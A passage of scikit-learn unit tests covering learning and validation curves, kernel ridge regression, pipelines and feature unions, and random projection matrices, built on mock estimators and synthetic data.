        return self

    def predict(self, X):
        raise NotImplementedError

    def score(self, X=None, Y=None):
        # training score becomes worse (2 -> 1), test error better (0 -> 1)
        if self._is_training_data(X):
            return 2. - float(self.train_sizes) / self.n_max_train_sizes
        else:
            return float(self.train_sizes) / self.n_max_train_sizes

    def _is_training_data(self, X):
        return X is self.X_subset


class MockIncrementalImprovingEstimator(MockImprovingEstimator):
    """Dummy classifier that provides partial_fit"""
    def __init__(self, n_max_train_sizes):
        super(MockIncrementalImprovingEstimator,
              self).__init__(n_max_train_sizes)
        self.x = None

    def _is_training_data(self, X):
        return self.x in X

    def partial_fit(self, X, y=None, **params):
        self.train_sizes += X.shape[0]
        self.x = X[0]


class MockEstimatorWithParameter(BaseEstimator):
    """Dummy classifier to test the validation curve"""
    def __init__(self, param=0.5):
        self.X_subset = None
        self.param = param

    def fit(self, X_subset, y_subset):
        self.X_subset = X_subset
        self.train_sizes = X_subset.shape[0]
        return self

    def predict(self, X):
        raise NotImplementedError

    def score(self, X=None, y=None):
        return self.param if self._is_training_data(X) else 1 - self.param

    def _is_training_data(self, X):
        return X is self.X_subset


def test_learning_curve():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    with warnings.catch_warnings(record=True) as w:
        train_sizes, train_scores, test_scores = learning_curve(
            estimator, X, y, cv=3, train_sizes=np.linspace(0.1, 1.0, 10))
    if len(w) > 0:
        raise RuntimeError("Unexpected warning: %r" % w[0].message)
    assert_equal(train_scores.shape, (10, 3))
    assert_equal(test_scores.shape, (10, 3))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_unsupervised():
    X, _ = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y=None, cv=3, train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_verbose():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)

    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        train_sizes, train_scores, test_scores = \
            learning_curve(estimator, X, y, cv=3, verbose=1)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout

    assert("[learning_curve]" in out)


def test_learning_curve_incremental_learning_not_possible():
    X, y = make_classification(n_samples=2, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    # The mockup does not have partial_fit()
    estimator = MockImprovingEstimator(1)
    assert_raises(ValueError, learning_curve, estimator, X, y,
                  exploit_incremental_learning=True)


def test_learning_curve_incremental_learning():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockIncrementalImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=3, exploit_incremental_learning=True,
        train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_incremental_learning_unsupervised():
    X, _ = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockIncrementalImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y=None, cv=3, exploit_incremental_learning=True,
        train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_batch_and_incremental_learning_are_equal():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    train_sizes = np.linspace(0.2, 1.0, 5)
    estimator = PassiveAggressiveClassifier(n_iter=1, shuffle=False)

    train_sizes_inc, train_scores_inc, test_scores_inc = \
        learning_curve(
            estimator, X, y, train_sizes=train_sizes,
            cv=3, exploit_incremental_learning=True)
    train_sizes_batch, train_scores_batch, test_scores_batch = \
        learning_curve(
            estimator, X, y, cv=3, train_sizes=train_sizes,
            exploit_incremental_learning=False)

    assert_array_equal(train_sizes_inc, train_sizes_batch)
    assert_array_almost_equal(train_scores_inc.mean(axis=1),
                              train_scores_batch.mean(axis=1))
    assert_array_almost_equal(test_scores_inc.mean(axis=1),
                              test_scores_batch.mean(axis=1))


def test_learning_curve_n_sample_range_out_of_bounds():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0, 1])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0.0, 1.0])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0.1, 1.1])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0, 20])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[1, 21])


def test_learning_curve_remove_duplicate_sample_sizes():
    X, y = make_classification(n_samples=3, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(2)
    train_sizes, _, _ = assert_warns(
        RuntimeWarning, learning_curve, estimator, X, y, cv=3,
        train_sizes=np.linspace(0.33, 1.0, 3))
    assert_array_equal(train_sizes, [1, 2])


def test_learning_curve_with_boolean_indices():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    cv = KFold(n=30, n_folds=3)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=cv, train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_validation_curve():
    X, y = make_classification(n_samples=2, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    param_range = np.linspace(0, 1, 10)
    with warnings.catch_warnings(record=True) as w:
        train_scores, test_scores = validation_curve(
            MockEstimatorWithParameter(), X, y, param_name="param",
            param_range=param_range, cv=2
        )
    if len(w) > 0:
        raise RuntimeError("Unexpected warning: %r" % w[0].message)

    assert_array_almost_equal(train_scores.mean(axis=1), param_range)
    assert_array_almost_equal(test_scores.mean(axis=1), 1 - param_range)












import numpy as np
import scipy.sparse as sp

from sklearn.datasets import make_regression
from sklearn.linear_model import Ridge
from sklearn.kernel_ridge import KernelRidge
from sklearn.metrics.pairwise import pairwise_kernels
from sklearn.utils.testing import ignore_warnings

from sklearn.utils.testing import assert_array_almost_equal


X, y = make_regression(n_features=10)
Xcsr = sp.csr_matrix(X)
Xcsc = sp.csc_matrix(X)
Y = np.array([y, y]).T


def test_kernel_ridge():
    pred = Ridge(alpha=1, fit_intercept=False).fit(X, y).predict(X)
    pred2 = KernelRidge(kernel="linear", alpha=1).fit(X, y).predict(X)
    assert_array_almost_equal(pred, pred2)


def test_kernel_ridge_csr():
    pred = Ridge(alpha=1, fit_intercept=False,
                 solver="cholesky").fit(Xcsr, y).predict(Xcsr)
    pred2 = KernelRidge(kernel="linear", alpha=1).fit(Xcsr, y).predict(Xcsr)
    assert_array_almost_equal(pred, pred2)


def test_kernel_ridge_csc():
    pred = Ridge(alpha=1, fit_intercept=False,
                 solver="cholesky").fit(Xcsc, y).predict(Xcsc)
    pred2 = KernelRidge(kernel="linear", alpha=1).fit(Xcsc, y).predict(Xcsc)
    assert_array_almost_equal(pred, pred2)


def test_kernel_ridge_singular_kernel():
    # alpha=0 causes a LinAlgError in computing the dual coefficients,
    # which causes a fallback to a lstsq solver. This is tested here.
    pred = Ridge(alpha=0, fit_intercept=False).fit(X, y).predict(X)
    kr = KernelRidge(kernel="linear", alpha=0)
    ignore_warnings(kr.fit)(X, y)
    pred2 = kr.predict(X)
    assert_array_almost_equal(pred, pred2)


def test_kernel_ridge_precomputed():
    for kernel in ["linear", "rbf", "poly", "cosine"]:
        K = pairwise_kernels(X, X, metric=kernel)
        pred = KernelRidge(kernel=kernel).fit(X, y).predict(X)
        pred2 = KernelRidge(kernel="precomputed").fit(K, y).predict(K)
        assert_array_almost_equal(pred, pred2)


def test_kernel_ridge_precomputed_kernel_unchanged():
    K = np.dot(X, X.T)
    K2 = K.copy()
    KernelRidge(kernel="precomputed").fit(K, y)
    assert_array_almost_equal(K, K2)


def test_kernel_ridge_sample_weights():
    K = np.dot(X, X.T)  # precomputed kernel
    sw = np.random.RandomState(0).rand(X.shape[0])

    pred = Ridge(alpha=1,
                 fit_intercept=False).fit(X, y, sample_weight=sw).predict(X)
    pred2 = KernelRidge(kernel="linear",
                        alpha=1).fit(X, y, sample_weight=sw).predict(X)
    pred3 = KernelRidge(kernel="precomputed",
                        alpha=1).fit(K, y, sample_weight=sw).predict(K)
    assert_array_almost_equal(pred, pred2)
    assert_array_almost_equal(pred, pred3)


def test_kernel_ridge_multi_output():
    pred = Ridge(alpha=1, fit_intercept=False).fit(X, Y).predict(X)
    pred2 = KernelRidge(kernel="linear", alpha=1).fit(X, Y).predict(X)
    assert_array_almost_equal(pred, pred2)

    pred3 = KernelRidge(kernel="linear", alpha=1).fit(X, y).predict(X)
    pred3 = np.array([pred3, pred3]).T
    assert_array_almost_equal(pred2, pred3)






"""
Test the pipeline module.
"""
import numpy as np
from scipy import sparse

from sklearn.externals.six.moves import zip
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns_message

from sklearn.base import clone
from sklearn.pipeline import Pipeline, FeatureUnion, make_pipeline, make_union
from sklearn.svm import SVC
from sklearn.linear_model import LogisticRegression
from sklearn.linear_model import LinearRegression
from sklearn.cluster import KMeans
from sklearn.feature_selection import SelectKBest, f_classif
from sklearn.decomposition import PCA, TruncatedSVD
from sklearn.datasets import load_iris
from sklearn.preprocessing import StandardScaler
from sklearn.feature_extraction.text import CountVectorizer


JUNK_FOOD_DOCS = (
    "the pizza pizza beer copyright",
    "the pizza burger beer copyright",
    "the the pizza beer beer copyright",
    "the burger beer beer copyright",
    "the coke burger coke copyright",
    "the coke burger burger",
)


class IncorrectT(object):
    """Small class to test parameter dispatching.
    """

    def __init__(self, a=None, b=None):
        self.a = a
        self.b = b


class T(IncorrectT):

    def fit(self, X, y):
        return self

    def get_params(self, deep=False):
        return {'a': self.a, 'b': self.b}

    def set_params(self, **params):
        self.a = params['a']
        return self


class TransfT(T):

    def transform(self, X, y=None):
        return X

    def inverse_transform(self, X):
        return X


class FitParamT(object):
    """Mock classifier
    """

    def __init__(self):
        self.successful = False

    def fit(self, X, y, should_succeed=False):
        self.successful = should_succeed

    def predict(self, X):
        return self.successful


def test_pipeline_init():
    # Test the various init parameters of the pipeline.
    assert_raises(TypeError, Pipeline)
    # Check that we can't instantiate pipelines with objects without fit
    # method
    pipe = assert_raises(TypeError, Pipeline, [('svc', IncorrectT)])
    # Smoke test with only an estimator
    clf = T()
    pipe = Pipeline([('svc', clf)])
    assert_equal(pipe.get_params(deep=True),
                 dict(svc__a=None, svc__b=None, svc=clf,
                      **pipe.get_params(deep=False)))

    # Check that params are set
    pipe.set_params(svc__a=0.1)
    assert_equal(clf.a, 0.1)
    assert_equal(clf.b, None)
    # Smoke test the repr:
    repr(pipe)

    # Test with two objects
    clf = SVC()
    filter1 = SelectKBest(f_classif)
    pipe = Pipeline([('anova', filter1), ('svc', clf)])

    # Check that we can't use the same stage name twice
    assert_raises(ValueError, Pipeline, [('svc', SVC()), ('svc', SVC())])

    # Check that params are set
    pipe.set_params(svc__C=0.1)
    assert_equal(clf.C, 0.1)
    # Smoke test the repr:
    repr(pipe)

    # Check that params are not set when naming them wrong
    assert_raises(ValueError, pipe.set_params, anova__C=0.1)

    # Test clone
    pipe2 = clone(pipe)
    assert_false(pipe.named_steps['svc'] is pipe2.named_steps['svc'])

    # Check that apart from estimators, the parameters are the same
    params = pipe.get_params(deep=True)
    params2 = pipe2.get_params(deep=True)

    for x in pipe.get_params(deep=False):
        params.pop(x)

    for x in pipe2.get_params(deep=False):
        params2.pop(x)

    # Remove estimators that where copied
    params.pop('svc')
    params.pop('anova')
    params2.pop('svc')
    params2.pop('anova')
    assert_equal(params, params2)


def test_pipeline_methods_anova():
    # Test the various methods of the pipeline (anova).
    iris = load_iris()
    X = iris.data
    y = iris.target
    # Test with Anova + LogisticRegression
    clf = LogisticRegression()
    filter1 = SelectKBest(f_classif, k=2)
    pipe = Pipeline([('anova', filter1), ('logistic', clf)])
    pipe.fit(X, y)
    pipe.predict(X)
    pipe.predict_proba(X)
    pipe.predict_log_proba(X)
    pipe.score(X, y)


def test_pipeline_fit_params():
    # Test that the pipeline can take fit parameters
    pipe = Pipeline([('transf', TransfT()), ('clf', FitParamT())])
    pipe.fit(X=None, y=None, clf__should_succeed=True)
    # classifier should return True
    assert_true(pipe.predict(None))
    # and transformer params should not be changed
    assert_true(pipe.named_steps['transf'].a is None)
    assert_true(pipe.named_steps['transf'].b is None)


def test_pipeline_raise_set_params_error():
    # Test pipeline raises set params error message for nested models.
    pipe = Pipeline([('cls', LinearRegression())])

    # expected error message
    error_msg = ('Invalid parameter %s for estimator %s. '
                 'Check the list of available parameters '
                 'with `estimator.get_params().keys()`.')

    assert_raise_message(ValueError,
                         error_msg % ('fake', 'Pipeline'),
                         pipe.set_params,
                         fake='nope')

    # nested model check
    assert_raise_message(ValueError,
                         error_msg % ("fake", pipe),
                         pipe.set_params,
                         fake__estimator='nope')


def test_pipeline_methods_pca_svm():
    # Test the various methods of the pipeline (pca + svm).
    iris = load_iris()
    X = iris.data
    y = iris.target
    # Test with PCA + SVC
    clf = SVC(probability=True, random_state=0)
    pca = PCA(svd_solver='full', n_components='mle', whiten=True)
    pipe = Pipeline([('pca', pca), ('svc', clf)])
    pipe.fit(X, y)
    pipe.predict(X)
    pipe.predict_proba(X)
    pipe.predict_log_proba(X)
    pipe.score(X, y)


def test_pipeline_methods_preprocessing_svm():
    # Test the various methods of the pipeline (preprocessing + svm).
    iris = load_iris()
    X = iris.data
    y = iris.target
    n_samples = X.shape[0]
    n_classes = len(np.unique(y))
    scaler = StandardScaler()
    pca = PCA(n_components=2, svd_solver='randomized', whiten=True)
    clf = SVC(probability=True, random_state=0, decision_function_shape='ovr')

    for preprocessing in [scaler, pca]:
        pipe = Pipeline([('preprocess', preprocessing), ('svc', clf)])
        pipe.fit(X, y)

        # check shapes of various prediction functions
        predict = pipe.predict(X)
        assert_equal(predict.shape, (n_samples,))

        proba = pipe.predict_proba(X)
        assert_equal(proba.shape, (n_samples, n_classes))

        log_proba = pipe.predict_log_proba(X)
        assert_equal(log_proba.shape, (n_samples, n_classes))

        decision_function = pipe.decision_function(X)
        assert_equal(decision_function.shape, (n_samples, n_classes))

        pipe.score(X, y)


def test_fit_predict_on_pipeline():
    # test that the fit_predict method is implemented on a pipeline
    # test that the fit_predict on pipeline yields same results as applying
    # transform and clustering steps separately
    iris = load_iris()
    scaler = StandardScaler()
    km = KMeans(random_state=0)

    # first compute the transform and clustering step separately
    scaled = scaler.fit_transform(iris.data)
    separate_pred = km.fit_predict(scaled)

    # use a pipeline to do the transform and clustering in one step
    pipe = Pipeline([('scaler', scaler), ('Kmeans', km)])
    pipeline_pred = pipe.fit_predict(iris.data)

    assert_array_almost_equal(pipeline_pred, separate_pred)


def test_fit_predict_on_pipeline_without_fit_predict():
    # tests that a pipeline does not have fit_predict method when final
    # step of pipeline does not have fit_predict defined
    scaler = StandardScaler()
    pca = PCA(svd_solver='full')
    pipe = Pipeline([('scaler', scaler), ('pca', pca)])
    assert_raises_regex(AttributeError,
                        "'PCA' object has no attribute 'fit_predict'",
                        getattr, pipe, 'fit_predict')


def test_feature_union():
    # basic sanity check for feature union
    iris = load_iris()
    X = iris.data
    X -= X.mean(axis=0)
    y = iris.target
    svd = TruncatedSVD(n_components=2, random_state=0)
    select = SelectKBest(k=1)
    fs = FeatureUnion([("svd", svd), ("select", select)])
    fs.fit(X, y)
    X_transformed = fs.transform(X)
    assert_equal(X_transformed.shape, (X.shape[0], 3))

    # check if it does the expected thing
    assert_array_almost_equal(X_transformed[:, :-1], svd.fit_transform(X))
    assert_array_equal(X_transformed[:, -1],
                       select.fit_transform(X, y).ravel())

    # test if it also works for sparse input
    # We use a different svd object to control the random_state stream
    fs = FeatureUnion([("svd", svd), ("select", select)])
    X_sp = sparse.csr_matrix(X)
    X_sp_transformed = fs.fit_transform(X_sp, y)
    assert_array_almost_equal(X_transformed, X_sp_transformed.toarray())

    # test setting parameters
    fs.set_params(select__k=2)
    assert_equal(fs.fit_transform(X, y).shape, (X.shape[0], 4))

    # test it works with transformers missing fit_transform
    fs = FeatureUnion([("mock", TransfT()), ("svd", svd), ("select", select)])
    X_transformed = fs.fit_transform(X, y)
    assert_equal(X_transformed.shape, (X.shape[0], 8))


def test_make_union():
    pca = PCA(svd_solver='full')
    mock = TransfT()
    fu = make_union(pca, mock)
    names, transformers = zip(*fu.transformer_list)
    assert_equal(names, ("pca", "transft"))
    assert_equal(transformers, (pca, mock))


def test_pipeline_transform():
    # Test whether pipeline works with a transformer at the end.
    # Also test pipeline.transform and pipeline.inverse_transform
    iris = load_iris()
    X = iris.data
    pca = PCA(n_components=2, svd_solver='full')
    pipeline = Pipeline([('pca', pca)])

    # test transform and fit_transform:
    X_trans = pipeline.fit(X).transform(X)
    X_trans2 = pipeline.fit_transform(X)
    X_trans3 = pca.fit_transform(X)
    assert_array_almost_equal(X_trans, X_trans2)
    assert_array_almost_equal(X_trans, X_trans3)

    X_back = pipeline.inverse_transform(X_trans)
    X_back2 = pca.inverse_transform(X_trans)
    assert_array_almost_equal(X_back, X_back2)


def test_pipeline_fit_transform():
    # Test whether pipeline works with a transformer missing fit_transform
    iris = load_iris()
    X = iris.data
    y = iris.target
    transft = TransfT()
    pipeline = Pipeline([('mock', transft)])

    # test fit_transform:
    X_trans = pipeline.fit_transform(X, y)
    X_trans2 = transft.fit(X, y).transform(X)
    assert_array_almost_equal(X_trans, X_trans2)


def test_make_pipeline():
    t1 = TransfT()
    t2 = TransfT()

    pipe = make_pipeline(t1, t2)
    assert_true(isinstance(pipe, Pipeline))
    assert_equal(pipe.steps[0][0], "transft-1")
    assert_equal(pipe.steps[1][0], "transft-2")

    pipe = make_pipeline(t1, t2, FitParamT())
    assert_true(isinstance(pipe, Pipeline))
    assert_equal(pipe.steps[0][0], "transft-1")
    assert_equal(pipe.steps[1][0], "transft-2")
    assert_equal(pipe.steps[2][0], "fitparamt")


def test_feature_union_weights():
    # test feature union with transformer weights
    iris = load_iris()
    X = iris.data
    y = iris.target
    pca = PCA(n_components=2, svd_solver='randomized', random_state=0)
    select = SelectKBest(k=1)
    # test using fit followed by transform
    fs = FeatureUnion([("pca", pca), ("select", select)],
                      transformer_weights={"pca": 10})
    fs.fit(X, y)
    X_transformed = fs.transform(X)
    # test using fit_transform
    fs = FeatureUnion([("pca", pca), ("select", select)],
                      transformer_weights={"pca": 10})
    X_fit_transformed = fs.fit_transform(X, y)
    # test it works with transformers missing fit_transform
    fs = FeatureUnion([("mock", TransfT()), ("pca", pca), ("select", select)],
                      transformer_weights={"mock": 10})
    X_fit_transformed_wo_method = fs.fit_transform(X, y)
    # check against expected result

    # We use a different pca object to control the random_state stream
    assert_array_almost_equal(X_transformed[:, :-1], 10 * pca.fit_transform(X))
    assert_array_equal(X_transformed[:, -1],
                       select.fit_transform(X, y).ravel())
    assert_array_almost_equal(X_fit_transformed[:, :-1],
                              10 * pca.fit_transform(X))
    assert_array_equal(X_fit_transformed[:, -1],
                       select.fit_transform(X, y).ravel())
    assert_equal(X_fit_transformed_wo_method.shape, (X.shape[0], 7))


def test_feature_union_parallel():
    # test that n_jobs work for FeatureUnion
    X = JUNK_FOOD_DOCS

    fs = FeatureUnion([
        ("words", CountVectorizer(analyzer='word')),
        ("chars", CountVectorizer(analyzer='char')),
    ])

    fs_parallel = FeatureUnion([
        ("words", CountVectorizer(analyzer='word')),
        ("chars", CountVectorizer(analyzer='char')),
    ], n_jobs=2)

    fs_parallel2 = FeatureUnion([
        ("words", CountVectorizer(analyzer='word')),
        ("chars", CountVectorizer(analyzer='char')),
    ], n_jobs=2)

    fs.fit(X)
    X_transformed = fs.transform(X)
    assert_equal(X_transformed.shape[0], len(X))

    fs_parallel.fit(X)
    X_transformed_parallel = fs_parallel.transform(X)
    assert_equal(X_transformed.shape, X_transformed_parallel.shape)
    assert_array_equal(
        X_transformed.toarray(),
        X_transformed_parallel.toarray()
    )

    # fit_transform should behave the same
    X_transformed_parallel2 = fs_parallel2.fit_transform(X)
    assert_array_equal(
        X_transformed.toarray(),
        X_transformed_parallel2.toarray()
    )

    # transformers should stay fit after fit_transform
    X_transformed_parallel2 = fs_parallel2.transform(X)
    assert_array_equal(
        X_transformed.toarray(),
        X_transformed_parallel2.toarray()
    )


def test_feature_union_feature_names():
    word_vect = CountVectorizer(analyzer="word")
    char_vect = CountVectorizer(analyzer="char_wb", ngram_range=(3, 3))
    ft = FeatureUnion([("chars", char_vect), ("words", word_vect)])
    ft.fit(JUNK_FOOD_DOCS)
    feature_names = ft.get_feature_names()
    for feat in feature_names:
        assert_true("chars__" in feat or "words__" in feat)
    assert_equal(len(feature_names), 35)


def test_classes_property():
    iris = load_iris()
    X = iris.data
    y = iris.target

    reg = make_pipeline(SelectKBest(k=1), LinearRegression())
    reg.fit(X, y)
    assert_raises(AttributeError, getattr, reg, "classes_")

    clf = make_pipeline(SelectKBest(k=1), LogisticRegression(random_state=0))
    assert_raises(AttributeError, getattr, clf, "classes_")
    clf.fit(X, y)
    assert_array_equal(clf.classes_, np.unique(y))


def test_X1d_inverse_transform():
    transformer = TransfT()
    pipeline = make_pipeline(transformer)
    X = np.ones(10)
    msg = "1d X will not be reshaped in pipeline.inverse_transform"
    assert_warns_message(FutureWarning, msg, pipeline.inverse_transform, X)






from __future__ import division

import numpy as np
import scipy.sparse as sp

from sklearn.metrics import euclidean_distances

from sklearn.random_projection import johnson_lindenstrauss_min_dim
from sklearn.random_projection import gaussian_random_matrix
from sklearn.random_projection import sparse_random_matrix
from sklearn.random_projection import SparseRandomProjection
from sklearn.random_projection import GaussianRandomProjection

from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns
from sklearn.exceptions import DataDimensionalityWarning

all_sparse_random_matrix = [sparse_random_matrix]
all_dense_random_matrix = [gaussian_random_matrix]
all_random_matrix = set(all_sparse_random_matrix + all_dense_random_matrix)

all_SparseRandomProjection = [SparseRandomProjection]
all_DenseRandomProjection = [GaussianRandomProjection]
all_RandomProjection = set(all_SparseRandomProjection +
                           all_DenseRandomProjection)


# Make some random data with uniformly located non zero entries with
# Gaussian distributed values
def make_sparse_random_data(n_samples, n_features, n_nonzeros):
    rng = np.random.RandomState(0)
    data_coo = sp.coo_matrix(
        (rng.randn(n_nonzeros),
         (rng.randint(n_samples, size=n_nonzeros),
          rng.randint(n_features, size=n_nonzeros))),
        shape=(n_samples, n_features))
    return data_coo.toarray(), data_coo.tocsr()


def densify(matrix):
    if not sp.issparse(matrix):
        return matrix
    else:
        return matrix.toarray()


n_samples, n_features = (10, 1000)
n_nonzeros = int(n_samples * n_features / 100.)
data, data_csr = make_sparse_random_data(n_samples, n_features, n_nonzeros)


###############################################################################
# test on JL lemma
###############################################################################
def test_invalid_jl_domain():
    assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, 1.1)
    assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, 0.0)
    assert_raises(ValueError, johnson_lindenstrauss_min_dim, 100, -0.1)
    assert_raises(ValueError, johnson_lindenstrauss_min_dim, 0, 0.5)


def test_input_size_jl_min_dim():
    assert_raises(ValueError, johnson_lindenstrauss_min_dim,
                  3 * [100], 2 * [0.9])

    assert_raises(ValueError, johnson_lindenstrauss_min_dim, 3 * [100],
                  2 * [0.9])

    johnson_lindenstrauss_min_dim(np.random.randint(1, 10, size=(10, 10)),
                                  0.5 * np.ones((10, 10)))


###############################################################################
# tests random matrix generation
###############################################################################
def check_input_size_random_matrix(random_matrix):
    assert_raises(ValueError, random_matrix, 0, 0)
    assert_raises(ValueError, random_matrix, -1, 1)
    assert_raises(ValueError, random_matrix, 1, -1)
    assert_raises(ValueError, random_matrix, 1, 0)
    assert_raises(ValueError, random_matrix, -1, 0)


def check_size_generated(random_matrix):
    assert_equal(random_matrix(1, 5).shape, (1, 5))
    assert_equal(random_matrix(5, 1).shape, (5, 1))
    assert_equal(random_matrix(5, 5).shape, (5, 5))
    assert_equal(random_matrix(1, 1).shape, (1, 1))


def check_zero_mean_and_unit_norm(random_matrix):
    # All random matrix should produce a transformation matrix
    # with zero mean and unit norm for each columns

    A = densify(random_matrix(10000, 1, random_state=0))

    assert_array_almost_equal(0, np.mean(A), 3)
    assert_array_almost_equal(1.0, np.linalg.norm(A),  1)


def check_input_with_sparse_random_matrix(random_matrix):
    n_components, n_features = 5, 10

    for density in [-1., 0.0, 1.1]:
        assert_raises(ValueError,
                      random_matrix, n_components, n_features, density=density)


def test_basic_property_of_random_matrix():
    # Check basic properties of random matrix generation
    for random_matrix in all_random_matrix:
        yield check_input_size_random_matrix, random_matrix
        yield check_size_generated, random_matrix
        yield check_zero_mean_and_unit_norm, random_matrix

    for random_matrix in all_sparse_random_matrix:
        yield check_input_with_sparse_random_matrix, random_matrix

        random_matrix_dense = \
            lambda n_components, n_features, random_state: random_matrix(
                n_components, n_features, random_state=random_state,
                density=1.0)
        yield check_zero_mean_and_unit_norm, random_matrix_dense


def test_gaussian_random_matrix():
    # Check some statical properties of Gaussian random matrix
    # Check that the random matrix follow the proper distribution.
    # Let's say that each element of a_{ij} of A is taken from
    #   a_ij ~ N(0.0, 1 / n_components).
    #
    n_components = 100
    n_features = 1000
    A = gaussian_random_matrix(n_components, n_features, random_state=0)

    assert_array_almost_equal(0.0, np.mean(A), 2)
    assert_array_almost_equal(np.var(A, ddof=1), 1 / n_components, 1)


def test_sparse_random_matrix():
    # Check some statical properties of sparse random matrix
    n_components = 100
    n_features = 500

    for density in [0.3, 1.]:
        s = 1 / density

        A = sparse_random_matrix(n_components,
                                 n_features,
                                 density=density,
                                 random_state=0)
        A = densify(A)

        # Check possible values
        values = np.unique(A)
        assert_in(np.sqrt(s) / np.sqrt(n_components), values)
        assert_in(- np.sqrt(s) / np.sqrt(n_components), values)

        if density == 1.0:
            assert_equal(np.size(values), 2)
        else:
            assert_in(0., values)
            assert_equal(np.size(values), 3)

        # Check that the random matrix follow the proper distribution.
        # Let's say that each element of a_{ij} of A is taken from
        #
        # - -sqrt(s) / sqrt(n_components)   with probability 1 / 2s
        # -  0                              with probability 1 - 1 / s
        # - +sqrt(s) / sqrt(n_components)   with probability 1 / 2s
        #
        assert_almost_equal(np.mean(A == 0.0),
                            1 - 1 / s, decimal=2)
        assert_almost_equal(np.mean(A == np.sqrt(s) / np.sqrt(n_components)),
                            1 / (2 * s), decimal=2)
        assert_almost_equal(np.mean(A == - np.sqrt(s) / np.sqrt(n_components)),
                            1 / (2 * s), decimal=2)

        assert_almost_equal(np.var(A == 0.0, ddof=1),
                            (1 - 1 / s) * 1 / s, decimal=2)
        assert_almost_equal(np.var(A == np.sqrt(s) / np.sqrt(n_components),
                                   ddof=1),
                            (1 - 1 / (2 * s)) * 1 / (2 * s), decimal=2)
        assert_almost_equal(np.var(A == - np.sqrt(s) / np.sqrt(n_components),
                                   ddof=1),
                            (1 - 1 / (2 * s)) * 1 / (2 * s), decimal=2)


###############################################################################
# tests on random projection transformer
###############################################################################
def test_sparse_random_projection_transformer_invalid_density():
    for RandomProjection in all_SparseRandomProjection:
        assert_raises(ValueError,
                      RandomProjection(density=1.1).fit, data)

        assert_raises(ValueError,
                      RandomProjection(density=0).fit, data)

        assert_raises(ValueError,
